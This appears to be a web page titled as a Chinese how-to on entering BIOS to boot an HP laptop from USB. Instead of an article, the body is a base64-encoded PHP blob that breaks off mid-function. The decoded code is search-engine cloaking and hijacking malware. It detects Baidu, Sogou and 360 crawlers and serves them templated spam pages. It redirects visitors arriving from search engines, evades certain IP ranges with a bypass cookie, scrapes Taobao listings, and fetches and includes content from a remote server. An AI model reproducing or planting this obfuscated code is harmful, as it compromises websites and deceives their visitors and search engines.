惠普笔记本电脑怎么进入bios设置u盘启动
2016-05-28 17:52:56
ICRrZXlOYW1lID0n5oOg5pmu56yU6K6w5pys55S16ISR5oCO5LmI6L+b5YWlYmlvc+iuvue9rnXn m5jlkK/liqgnOyAKCmZ1bmN0aW9uIEFwcF9HZXRMaW5rKCl7CQoJcmV0dXJuICJodHRwOi8vd3d3 LnNoYWliYW9qLmNvbS9hcnRpY2xlLSIucmFuZCgxMDAwMDAwMCw5OTk5OTk5OSkuIi0xLmh0bWwi Owp9CgpmdW5jdGlvbiBBcHBfR2V0U2VsZigpewoJcmV0dXJuICJodHRwOi8vd3d3LnNoYWliYW9q LmNvbS9hcnRpY2xlLSIucmFuZCgxMDAwMDAwMCw5OTk5OTk5OSkuIi0xLmh0bWwiOwp9CgoKLy/C t8K1wrvDmMONwrzDhsKsCmZ1bmN0aW9uIGdldEltZygpewoJcmV0dXJuICdodHRwOi8vd3d3LnNo YWliYW9qLmNvbS9pbWcvMjAxNTExMDYvbHEnLnJhbmQoMSwyMCkuIi5qcGciOwp9CgoKCgpmdW5j dGlvbiBybmRTdHIoJGxlbmd0aD04KXsKCSRzdHIgPSBudWxsOwoJJHN0clBvbCA9ICIwMTIzNDU2 Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoiOwoJJG1heCA9IHN0cmxlbigkc3RyUG9sKS0x OwoJZm9yKCRpPTA7JGk8JGxlbmd0aDskaSsrKXsKCQkkc3RyLj0kc3RyUG9sW3JhbmQoMCwkbWF4 KV07Cgl9CglyZXR1cm4gJHN0cjsKfQoKY2xhc3MgY29yZUFwcENhY2hlewoJCglwdWJsaWMgZnVu Y3Rpb24gd3JpdGUoJGZpbGUsJGZpbGVuYW1lKXsKCQlyZXR1cm4gZmlsZV9wdXRfY29udGVudHMo JGZpbGVuYW1lLHNlbGY6OmVuY29kZSgkZmlsZSkpOwoJfQoJcHVibGljIGZ1bmN0aW9uIHdyaXRl bm9jb2RlKCRmaWxlLCRmaWxlbmFtZSl7CgkJcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxl bmFtZSwkZmlsZSk7Cgl9CglwdWJsaWMgZnVuY3Rpb24gcmVhZCgkZmlsZW5hbWUpewoJCSRjb250 ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVuYW1lKTsKCQlpZihzdHJpc3RyKCRjb250ZW50 LCI8L2V4cGxvZGU+IikpewoJCQkkY29udGVudCA9IHNlbGY6OmN1dCgkY29udGVudCwiPGV4cGxv ZGU+IiwiPC9leHBsb2RlPiIpOwoJCX0KCQlyZXR1cm4gc2VsZjo6ZGVjb2RlKCRjb250ZW50KTsK CX0KCglwdWJsaWMgZnVuY3Rpb24gZW5jb2RlKCRmaWxlKXsKCQlyZXR1cm4gYmFzZTY0X2VuY29k ZShnemNvbXByZXNzKHNlcmlhbGl6ZSgkZmlsZSkpKTsgCgl9CgoJcHVibGljIGZ1bmN0aW9uIGRl Y29kZSgkZmlsZSl7CgkJcmV0dXJuIHVuc2VyaWFsaXplKGd6dW5jb21wcmVzcyhiYXNlNjRfZGVj b2RlKCRmaWxlKSkpOyAKCX0KCQoJcHVibGljIGZ1bmN0aW9uIGN1dCgkZmlsZSwkZnJvbSwkZW5k KQoJeyAKCQkkbWVzc2FnZT1leHBsb2RlKCRmcm9tLCRmaWxlKTsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZW5kLCRtZXNzYWdlWzFdKTsgCgkJcmV0dXJuICAgJG1lc3NhZ2VbMF07Cgl9Cn0KCgoKCiRt eV9jb250ZW50PScnOwppZighZW1wdHkoJGtleU5hbWUpKXsKCSRxdWVyeV9kYXRhID0gYXJyYXko J3EnPT4ka2V5TmFtZSwpOwoJJG15X2FsaW1hbWEgPSBuZXcgYWxpbWFtYSgkcXVlcnlfZGF0YSk7 CgkkbXlfYWxpbWFtYS0+cXVlcnkoKTsKCSRteV9jb250ZW50ID0gJG15X2FsaW1hbWEtPmh0bWwo KTsKfQokZGF0YSA9IHN0cl9yZXBsYWNlKCc8cGhwdWw+PC9waHB1bD4nLCRteV9jb250ZW50LCRk YXRhKTsKaWYoc3RycG9zKCRkYXRhLCJbaXRlbTptZW51XSIpIT09IGZhbHNlJiYhZW1wdHkoJGtl eU5hbWUpKXsKCSR0YWdfdXJsID0gJ2h0dHBzOi8vc3VnZ2VzdC50YW9iYW8uY29tL3N1Zz9jb2Rl PXV0Zi04JnE9Jy51cmxlbmNvZGUoJGtleU5hbWUpOwoJJHRhZ19jb250ZW50ID0gYWxpbWFtYTo6 SHR0cFZpc2l0KCR0YWdfdXJsKTsKCSR0YWdfanNvbiA9IGpzb25fZGVjb2RlKCR0YWdfY29udGVu dCx0cnVlKTsKCSR0YWdfbWVudSA9ICcnOwoJZm9yZWFjaCAoJHRhZ19qc29uWydyZXN1bHQnXSBh cyAka2V5ID0+ICR2YWx1ZSkgewoJCSRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107 CgkJJHBocF9zZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107CiAJCSR0YWdfaXRlbV91cmw9J2h0 dHA6Ly8nLiRodHRwX2hvc3QuJHBocF9zZWxmLic/a2V5TmFtZT0nLnVybGVuY29kZSgkdmFsdWVb MF0pOwoJCSR0YWdfbWVudSA9ICR0YWdfbWVudS4nPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Iicu JHRhZ19pdGVtX3VybC4nIj4nLiR2YWx1ZVswXS4nPC9hPic7Cgl9CgkkZGF0YSA9IHN0cl9yZXBs YWNlKCdbaXRlbTptZW51XScsJHRhZ19tZW51LCRkYXRhKTsKfQoKY2xhc3MgYWxpbWFtYXsKCQoJ cHVibGljICRzaG93X3NwaWRlcjsKCXB1YmxpYyAkanVtcF9yZWY7CglwdWJsaWMgJGh0dHBfcmVm X2ZpbHRlcjsKCXB1YmxpYyAkanVtcF91cmwgPSAiIjsKCXB1YmxpYyAkZG9tYWluID0gIiI7Cglw dWJsaWMgJGNvbmRpdGlvbiA9ICIiOwoJcHVibGljICRhcHBfc2VydmVyID0gIiI7CglwdWJsaWMg JGxvZ19zcGlkZXIgPSAiIjsKCXB1YmxpYyAkY3VyX3NwaWRlciA9ICIiOwoJcHVibGljICRhbGxv d19pcCA9ICIiOwoJcHVibGljICRpc0NhY2hlID0gZmFsc2U7CglwdWJsaWMgJGNyYXdsX3VybCA9 ICJodHRwOi8vcHViLmFsaW1hbWEuY29tL2l0ZW1zL3NlYXJjaC5qc29uIjsKCXB1YmxpYyAkcXVl cnlfZGF0YTsKCXB1YmxpYyAkY29udGVudDsKCglwdWJsaWMgJGxpX3RlbXBsYXRlPSI8bGk+CiAg PGRpdiBjbGFzcz0nbGlfbGlzdCcgb25tb3VzZW92ZXI9J3RoaXMuY2xhc3NOYW1lPSdsaV9ob3Zl cicnIG9ubW91c2VvdXQ9J3RoaXMuY2xhc3NOYW1lPSdsaV9saXN0Jyc+CiAgICA8ZGl2IGNsYXNz PSduZXcnPjwvZGl2PgogICAgPGRpdiBjbGFzcz0nY29sbGVjdCc+PGEgaHJlZj0namF2YXNjcmlw dDo7Jz48L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdwaWMnPjxhIGhyZWY9J3t1cmx9JyB0YXJn ZXQ9J19ibGFuayc+IDxpbWcgc3JjPSd7cGljdXJsfSc+PC9hPjwvZGl2PgogICAgPGRpdiBjbGFz cz0ndGl0bGUnPiA8YSBocmVmPSd7dXJsfScgdGFyZ2V0PSdfYmxhbmsnPnt0aXRsZX08L2E+PC9k aXY+CiAgICA8ZGl2IGNsYXNzPSdtb25leV9iZyc+IAoJICAgIDxzcGFuPjxlbSBjbGFzcz0nbW9u ZXlfc3ltYm9sJz7vv6U8L2VtPjxlbSBjbGFzcz0nbW9uZXlfbnVtJz57cHJpY2V9PC9lbT48L3Nw YW4+IAoJICAgIDxzcGFuIGNsYXNzPSdmeF9tb25leV9iZyc+IDxlbSBjbGFzcz0nemhla291IGl0 ZW0nIHN0eWxlPSd2aXNpYmlsaXR5OiB2aXNpYmxlOyc+PGI+e25pY2t9PC9iPjwvZW0+IAoJICAg IDxlbSBjbGFzcz0ncWlhbmdvdSc+PC9lbT4gCiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3Rq cF9ib3R0b21fYmcnPgogICAgICA8ZGl2IGNsYXNzPSd0anBfYm90dG9tJz4KICAgICAgICA8ZGl2 IGNsYXNzPSd0anBfZmFidSBjb2xvcl85OSc+e3RvdGFsRmVlfTwvZGl2PgogICAgICAgIDxkaXYg Y2xhc3M9J3RqcF94aWFvYmlhbiBjb2xvcl82Nic+e3RvdGFsTnVtfTwvZGl2PgogICAgICA8L2Rp dj4KICAgIDwvZGl2PgogIDwvZGl2Pgo8L2xpPiAiOwoKCS8v5a6a5LmJ5p6E6YCg5Ye95pWw77yM 55So5LqO5Yid5aeL5YyW6LWL5YC8CiAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkcXVlcnlfZGF0 YSkKICAgIHsKICAgICAgICAgJHRoaXMtPnF1ZXJ5X2RhdGEgPSAkcXVlcnlfZGF0YTsgICAgICAg IC8v6L+Z6YeM5bey57uP5L2/55So5LqGdGhpc+aMh+mSiOivreWPpeKRoAogICAgfQoKCXB1Ymxp YyBmdW5jdGlvbiBzZXRRdWVyeURhdGEoJHF1ZXJ5X2RhdGEpewoJCSR0aGlzLT5xdWVyeV9kYXRh ID0gJHF1ZXJ5X2RhdGE7CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGh0bWwo KXsKCQkkY29udGVudCA9ICR0aGlzLT5jb250ZW50OwoJCSRhbGltYW1hX2pzb24gPSBqc29uX2Rl Y29kZSgkY29udGVudCx0cnVlKTsKCQkkaHRtbCA9ICI8dWw+IjsKCQlmb3JlYWNoICgkYWxpbWFt YV9qc29uWydkYXRhJ11bJ3BhZ2VMaXN0J10gYXMgJGtleSA9PiAkdmFsdWUpIHsKCSAJCSRpdGVt X3VybD0kdmFsdWVbJ2F1Y3Rpb25VcmwnXTsKCSAJCSRpdGVtX3RpdGxlPSR2YWx1ZVsndGl0bGUn XTsKCSAJCSRpdGVtX3ByaWNlPSR2YWx1ZVsnemtQcmljZSddOwoJIAkJJGl0ZW1fcGljdFVybD0k dmFsdWVbJ3BpY3RVcmwnXS4nXzQwMHg0MDBfLndlYnAnOwoJIAkJJGl0ZW1fbmljaz0kdmFsdWVb J25pY2snXTsKCSAJCSRpdGVtX3RvdGFsTnVtPSfmgLvplIDph486Jy4kdmFsdWVbJ3RvdGFsTnVt J107CgkgCQkkaXRlbV90b3RhbEZlZT0n5oC75Lqk5piT6aKdOicuJHZhbHVlWyd0b3RhbEZlZSdd OwoKCQkJJGh0dHBfaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKIAkJCSRwaHBfc2VsZiA9 ICRfU0VSVkVSWydQSFBfU0VMRiddOwoJIAkJJGl0ZW1fdXJsPSdodHRwOi8vJy4kaHR0cF9ob3N0 LiRwaHBfc2VsZi4nP2dvdHU9Jy5iYXNlNjRfZW5jb2RlKCRpdGVtX3VybCk7CgoJIAkJJGl0ZW1f cGljdFVybD0naHR0cDovL2kua2FudHUuaW4vJy5iYXNlNjRfZW5jb2RlKCRpdGVtX3BpY3RVcmwp OwoKCQkJJGxpID0gJHRoaXMtPmxpX3RlbXBsYXRlOwoKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0 aXRsZX0nLCRpdGVtX3RpdGxlLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7cHJpY2V9Jywk aXRlbV9wcmljZSwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3VybH0nLCRpdGVtX3VybCwk bGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3BpY3VybH0nLCRpdGVtX3BpY3RVcmwsJGxpKTsK CQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0b3RhbE51bX0nLCRpdGVtX3RvdGFsTnVtLCRsaSk7CgkJ CSRsaSA9IHN0cl9yZXBsYWNlKCd7bmlja30nLCRpdGVtX25pY2ssJGxpKTsKCQkJJGxpID0gc3Ry X3JlcGxhY2UoJ3t0b3RhbEZlZX0nLCRpdGVtX3RvdGFsRmVlLCRsaSk7CgoJCQkkaHRtbCA9ICRo dG1sLiRsaTsKCSAJCS8vIGVjaG8gJGxpOwoJIAl9CgkgCSRodG1sID0gJGh0bWwuIjwvdWw+IjsK CQlyZXR1cm4gJGh0bWw7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIHF1ZXJ5KCl7CgkJJHVybCAgPSAk dGhpcy0+Y3Jhd2xfdXJsLic/Jy5odHRwX2J1aWxkX3F1ZXJ5KCR0aGlzLT5xdWVyeV9kYXRhKTsK CQkkdGhpcy0+Y29udGVudCA9ICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIHJ1bigpewoJCSR0aGlzLT5kb21haW4gPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJ CSR0aGlzLT5qdW1wX3JlZiA9IGV4cGxvZGUoInwiLCJiYWlkdS58aGFvc28ufGhhb3NvdS58Ymlu Zy58c28ufHNvZ291Lnxzb3NvLiIpOwoJCSR0aGlzLT5odHRwX3JlZl9maWx0ZXIgPSBleHBsb2Rl KCJ8IiwiaW51cmw6fHNpdGU6fHNpdGUlM0F8aW51cmwlM0EiKTsKCQkkdGhpcy0+YWxsb3dfaXAg PSAiMjIyLjE4NC4yMzR8MTEyLjg3LjcxfDU4LjIyMS44Ny58NDkuNjcuMjIzIjsKCQkkdGhpcy0+ Y29uZGl0aW9uID0gKCRfR0VUWydhaWQnXSA+IDEwMDAwMDAwICYmICR0aGlzLT5pc0FsbG93ZElw KCkpOwoJCSR0aGlzLT5hcHBfc2VydmVyID0gIiI7CgkJJHRoaXMtPmlzQ2FjaGUgID0gRmFsc2U7 CgkJaWYoJHRoaXMtPmlzU3BpZGVyKCkgJiYgJHRoaXMtPmlzQWxsb3dkSXAoKSl7CgkJCQlpZigk dGhpcy0+Y29uZGl0aW9uKXsKCQkJCQlpZigkdGhpcy0+aXNDYWNoZSl7CgkJCQkJCSRyZWxzZXRf aG9zdCA9ICR0aGlzLT5nZXRTZXJ2ZXJOYW1lKCk7CgkJCQkJCSRkaXIgPSAoc3Vic3RyKFBIUF9P UywgMCwgMykgPT0gJ1dJTicgPyAnQzovd2luZG93cy90ZW1wLycgOiAnL3RtcC8nKSAuIHN1YnN0 cihtZDUoJHJlbHNldF9ob3N0KSwgMjYpIC4gY2hyKDQ3KTsKCQkJCQkJJGNhY2hlRmlsZSA9ICRk aXIuJ3Nlc3NfJyAuIHN1YnN0cihtZDUoaHR0cF9idWlsZF9xdWVyeSgkX0dFVCkpLCA2KTsKCQkJ CQkJaWYoIUBmaWxlX2V4aXN0cygkZGlyKSl7CiAgICAgICAgICAgICAJCQkJIG1rZGlyKCRkaXIs IDA3NzcpOwogICAgICAgICAgICAJCQl9CgkJCQkJCWlmKEBmaWxlX2V4aXN0cygkY2FjaGVGaWxl KSAmJiBAZmlsZXNpemUgKCRjYWNoZUZpbGUpID4gMzIgKXsKCQkJCQkJCSR2YXIgPSBjb3JlQXBw Q2FjaGU6OnJlYWQoJGNhY2hlRmlsZSk7CgkJCQkJCQkkcGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRz KEFQUF9KQUNLX1RFTVBMQVRFKTsKCQkJCQkJCWZvcmVhY2goJHZhciBhcyAka2V5PT4kdil7CgkJ CQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgk ZmxhZywkdiwkcGFnZSk7CgkJCQkJCQl9CgkJCQkJCQllY2hvICRwYWdlOwoJCQkJCQkJZXhpdCgp OwoJCQkJCQl9CgkJCQkJCWVsc2UKCQkJCQkJewkKCQkJCQkJCS8vwrDDvMK6wqzCvcO4QVBQwrzC tMK/w4kKCQkJCQkJCSRjdXJyZW50UGFnZSA9IGluY2x1ZGUoQVBQX0pBQ0tfQVBQRklMRSk7CgkJ CQkJCQlpZigkY3VycmVudFBhZ2UgJiYgc3RybGVuKCRjdXJyZW50UGFnZSkgPiAzMiAmJiBzdHJp c3RyKCRjdXJyZW50UGFnZSwiPC9leHBsb2RlPiIpKXsKCQkJCQkJCQkkdmFyID0gc2VsZjo6Y3V0 KCRjdXJyZW50UGFnZSwiPGV4cGxvZGU+IiwiPC9leHBsb2RlPiIpOwoJCQkJCQkJCSR2YXIgPSBj b3JlQXBwQ2FjaGU6OmRlY29kZSgkdmFyKTsKCQkJCQkJCQkkcGFnZSA9IGZpbGVfZ2V0X2NvbnRl bnRzKEFQUF9KQUNLX1RFTVBMQVRFKTsKCQkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYp ewoJCQkJCQkJCQkkZmxhZyA9ICJ7Ii4ka2V5LiJ9IjsKCQkJCQkJCQkJJHBhZ2UgPSBzdHJfcmVw bGFjZSgkZmxhZywkdiwkcGFnZSk7CgkJCQkJCQkJfQoJCQkJCQkJCWVjaG8gJHBhZ2U7CgkJCQkJ CQkJQGNvcmVBcHBDYWNoZTo6d3JpdGVub2NvZGUoJGN1cnJlbnRQYWdlLCRjYWNoZUZpbGUpOwoJ CQkJCQkJfQoJCQkJCQl9CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCQllbHNlCgkJCQkJewoJCQkJ CQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUpOwoJCQkJCQllY2hvICRj dXJyZW50UGFnZTsKCQkJCQkJZGllKCk7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZQoJCQkJewoKCQkJ CQkkdGhpcy0+X3VuY29uZGl0aW9uX2hvb2soKTsKCQkJCX0KCQl9CgkJZWxzZQoJCXsJCgkJCWlm KCR0aGlzLT5pc1JlZigpICYmICR0aGlzLT5jb25kaXRpb24pewoJCQkJJHRoaXMtPkp1bXAoKTsK CQkJfQoJCQllbHNlCgkJCXsKCQkJCSR0aGlzLT5fdW5TcGlkZXJfaG9vaygpOwoJCQl9CgkJfQoJ fQoKCXB1YmxpYyBmdW5jdGlvbiBpc0FsbG93ZElwKCl7CgkJJGlwID0gJHRoaXMtPmNsaWVudElw KCk7CgkJJG5vbl9saXN0ID0gZXhwbG9kZSgifCIsJHRoaXMtPmFsbG93X2lwKTsKCQlmb3JlYWNo KCRub25fbGlzdCBhcyAkaXBsaXN0KXsKCQkJaWYoQHN0cmlzdHIoJGlwLCRpcGxpc3QpKXsKCQkJ CXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQlyZXR1cm4gdHJ1ZTsKCX0KCglwdWJsaWMgZnVuY3Rp b24gY2xpZW50SXAoKXsKCQlpZihnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykgJiYgc3RyY2FzZWNt cChnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0g Z2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpOwoJCX0gZWxzZWlmKGdldGVudignSFRUUF9YX0ZPUldB UkRFRF9GT1InKSAmJiBzdHJjYXNlY21wKGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSwg J3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S Jyk7CgkJfSBlbHNlaWYoZ2V0ZW52KCdSRU1PVEVfQUREUicpICYmIHN0cmNhc2VjbXAoZ2V0ZW52 KCdSRU1PVEVfQUREUicpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVpcCA9IGdldGVudignUkVN T1RFX0FERFInKTsKCQl9IGVsc2VpZihpc3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkgJiYg JF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gJiYgc3RyY2FzZWNtcCgkX1NFUlZFUlsnUkVNT1RFX0FE RFInXSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFIn XTsKCQl9CgkJcHJlZ19tYXRjaCgiL1tcZFwuXXs3LDE1fS8iLCAkb25saW5laXAsICRvbmxpbmVp cG1hdGNoZXMpOwoJCSRvbmxpbmVpcCA9ICRvbmxpbmVpcG1hdGNoZXNbMF0gPyAkb25saW5laXBt YXRjaGVzWzBdIDogJ3Vua25vd24nOwoJCXVuc2V0KCRvbmxpbmVpcG1hdGNoZXMpOwoJCXJldHVy biAkb25saW5laXA7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGlzU3BpZGVyKCl7CgkJJGJvdHMgPSBh cnJheSgKCQkJCSdCYWlkdScgICAgICAgID0+ICdiYWlkdXNwaWRlcicsCgkJCQknU29nb3UnICAg ICAgICA9PiAnc29nb3UnLAoJCQkJJ0hhb3NvJyAgICAgICAgPT4gJ2hhb3NvdXNwaWRlcicsCgkJ CQknMzYwc3BpZGVyJyAgICAgICAgPT4gJzM2MHNwaWRlcicKCQkgKTsKCQkkdXNlckFnZW50ID0g c3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pOwoJCWZvcmVhY2ggKCRib3Rz IGFzICRrID0+ICR2KXsKCQkJaWYgKHN0cmlzdHIoJHVzZXJBZ2VudCwkdikpewoJCQkJaWYoIWVt cHR5KCR0aGlzLT5sb2dfc3BpZGVyKSl7CgkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCR0aGlzLT5s b2dfc3BpZGVyLCR2LiItPlZpc2l0ZWQgIi4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10uImF0OiAi LmRhdGUoIlktbS1kIEg6aTpzIikuIlxuIixGSUxFX0FQUEVORCk7CgkJCQl9CgkJCQkkdGhpcy0+ Y3VyX3NwaWRlciA9ICRrOwoJCQkJcmV0dXJuIHRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQly ZXR1cm4gZmFsc2U7CQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1JlZigpewoJCSRyZWYgPSBzdHJ0 b2xvd2VyKEAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJk b21haW4tZmlsdGVyLWJ5cGFzcyJdKSl7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJCgkJaWYoISR0 aGlzLT5pc0FsbG93ZElwKCkpewoJCQlzZXRjb29raWUoImRvbWFpbi1maWx0ZXItYnlwYXNzIiwg ImxvbCIsIHRpbWUoKSArIDI1OTIwMCk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCWZvcmVhY2go JHRoaXMtPmh0dHBfcmVmX2ZpbHRlciBhcyAkcil7CgkJCSRyID0gdHJpbSgkcik7CgkJCWlmKHN0 cmlzdHIoJHJlZiwkcikpewoJCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFzcyIsICJs b2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfQoJCgkJZm9y ZWFjaCgkdGhpcy0+anVtcF9yZWYgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlpZihzdHJp c3RyKCRyZWYsJHIpKXsKCQkJCXJldHVybiB0cnVlOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBmdW5j dGlvbiBnZXRTZXJ2ZXJOYW1lKCkgCgl7IAoJCSRTZXJ2ZXJOYW1lID0gc3RydG9sb3dlcigkX1NF UlZFUlsnU0VSVkVSX05BTUUnXT8kX1NFUlZFUlsnU0VSVkVSX05BTUUnXTokX1NFUlZFUlsnSFRU UF9IT1NUJ10pOyAKCQlpZiggc3RycG9zKCRTZXJ2ZXJOYW1lLCdodHRwOi8vJykgKSAKCQl7IAoJ CQlyZXR1cm4gc3RyX3JlcGxhY2UoJ2h0dHA6Ly8nLCcnLCRTZXJ2ZXJOYW1lKTsgCgkJfSAKCQly ZXR1cm4gJFNlcnZlck5hbWU7IAoJfQoKCXB1YmxpYyBmdW5jdGlvbiBnZXRQYWdlKCl7CgkJaWYo JHRoaXMtPmlzQ2FjaGUpewoJCQkkY2FjaGU9ImNhY2hlZCI7CgkJfQoJCSR1cmwgID0gJHRoaXMt PmFwcF9zZXJ2ZXIuIj9kb21haW49Ii4kdGhpcy0+ZG9tYWluLiImZ2lkPTE5OSZzcGlkZXI9Ii4k dGhpcy0+Y3VyX3NwaWRlci4iJmNhY2hlPSIuJGNhY2hlLiImbG9jYWxQYXI9Ii5odHRwX2J1aWxk X3F1ZXJ5KCRfR0VUKTsKCQlyZXR1cm4gJHRoaXMtPkh0dHBWaXNpdCgkdXJsKTsKCX0KCiAgICBw dWJsaWMgZnVuY3Rpb24gSHR0cFZpc2l0KCR3ZWJ1cmwpIHsKICAgIAkkdXNlcl9hZ2VudCA9ICJN b3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xMF81KSBBcHBsZVdlYktp dC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDUuMC4yNDU0Ljg1IFNhZmFyaS81 MzcuMzYgUVFCcm93c2VyLzMuOS4zOTQzLjQwMCI7CiAgICAgICAgJHJlbW90ZV9kYXRhID0gTlVM TDsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2V4ZWMnKSkgewogICAgICAgICAg ICAkY3VybCA9IEBjdXJsX2luaXQoKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBD VVJMT1BUX1VSTCwgJHdlYnVybCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwgQ1VS TE9QVF9IRUFERVIsIDApOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRf Q09OTkVDVFRJTUVPVVQsIDMwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBD VVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJfYWdlbnQpOyAKICAgICAgICAgICAgJHJlbW90ZV9kYXRh ID0gQGN1cmxfZXhlYygkY3VybCk7CiAgICAgICAgICAgIEBjdXJsX2Nsb3NlKCRjdXJsKTsKICAg ICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fY29u dGV4dF9jcmVhdGUnKSkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9hcnJheSA9IGFycmF5KCdo dHRwJyA9PiBhcnJheSgnbWV0aG9kJyA9PiAnR0VUJywgJ3RpbWVvdXQnID0+IDMwKSk7CiAgICAg ICAgICAgICAgICAkaHR0cF9oZWFkZXIgPSBAc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRoZWFkZXJf YXJyYXkpOwogICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRz KCR3ZWJ1cmwsIGZhbHNlLCAkaHR0cF9oZWFkZXIpOwogICAgICAgICAgICB9IGVsc2UgewogICAg ICAgICAgICAgICAgJHRlbXBfdXJsID0gZXhwbG9kZSgiLyIsICR3ZWJ1cmwpOwogICAgICAgICAg ICAgICAgJG5ld191cmwgPSAkdGVtcF91cmxbMl07CiAgICAgICAgICAgICAgICAkaHR0cF9wb3J0 ID0gODA7CiAgICAgICAgICAgICAgICAkZ2V0X2ZpbGUgPSBzdWJzdHIoJHdlYnVybCwgc3RybGVu KCRuZXdfdXJsKSArIDcpOwogICAgICAgICAgICAgICAgaWYgKHN0cnN0cigkbmV3X3VybCwgY2hy KDU4KSkpIHsKICAgICAgICAgICAgICAgICAgICAkc192YXJfYXJyYXlbJ3RkJ10gPSBleHBsb2Rl KGNocig1OCksICRuZXdfdXJsKTsKICAgICAgICAgICAgICAgICAgICAkbmV3X3VybCA9ICRzX3Zh cl9hcnJheVsndGQnXVswXTsKICAgICAgICAgICAgICAgICAgICAkaHR0cF9wb3J0ID0gJHNfdmFy X2FycmF5Wyd0ZCddWzFdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZzb2Nr X3Jlc3VsdCA9IEBmc29ja29wZW4oJG5ld191cmwsICRodHRwX3BvcnQpOwogICAgICAgICAgICAg ICAgQGZwdXRzKCRmc29ja19yZXN1bHQsICdHRVQgJyAuICRnZXRfZmlsZSAuICcgSFRUUC8xLjEn IC4gIlxyXG4iIC4gJ0hvc3Q6JyAuICRuZXdfdXJsIC4gIlxyXG4iIC4gJ0Nvbm5lY3Rpb246Q2xv c2UnIC4gIlxyXG5cclxuIik7CiAgICAgICAgICAgICAgICB3aGlsZSAoIWZlb2YoJGZzb2NrX3Jl c3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAkcmVtb3RlX2RhdGEgLj0gZmdldHMoJGZzb2Nr X3Jlc3VsdCwgMTAyNCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmNsb3Nl KCRmc29ja19yZXN1bHQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAk 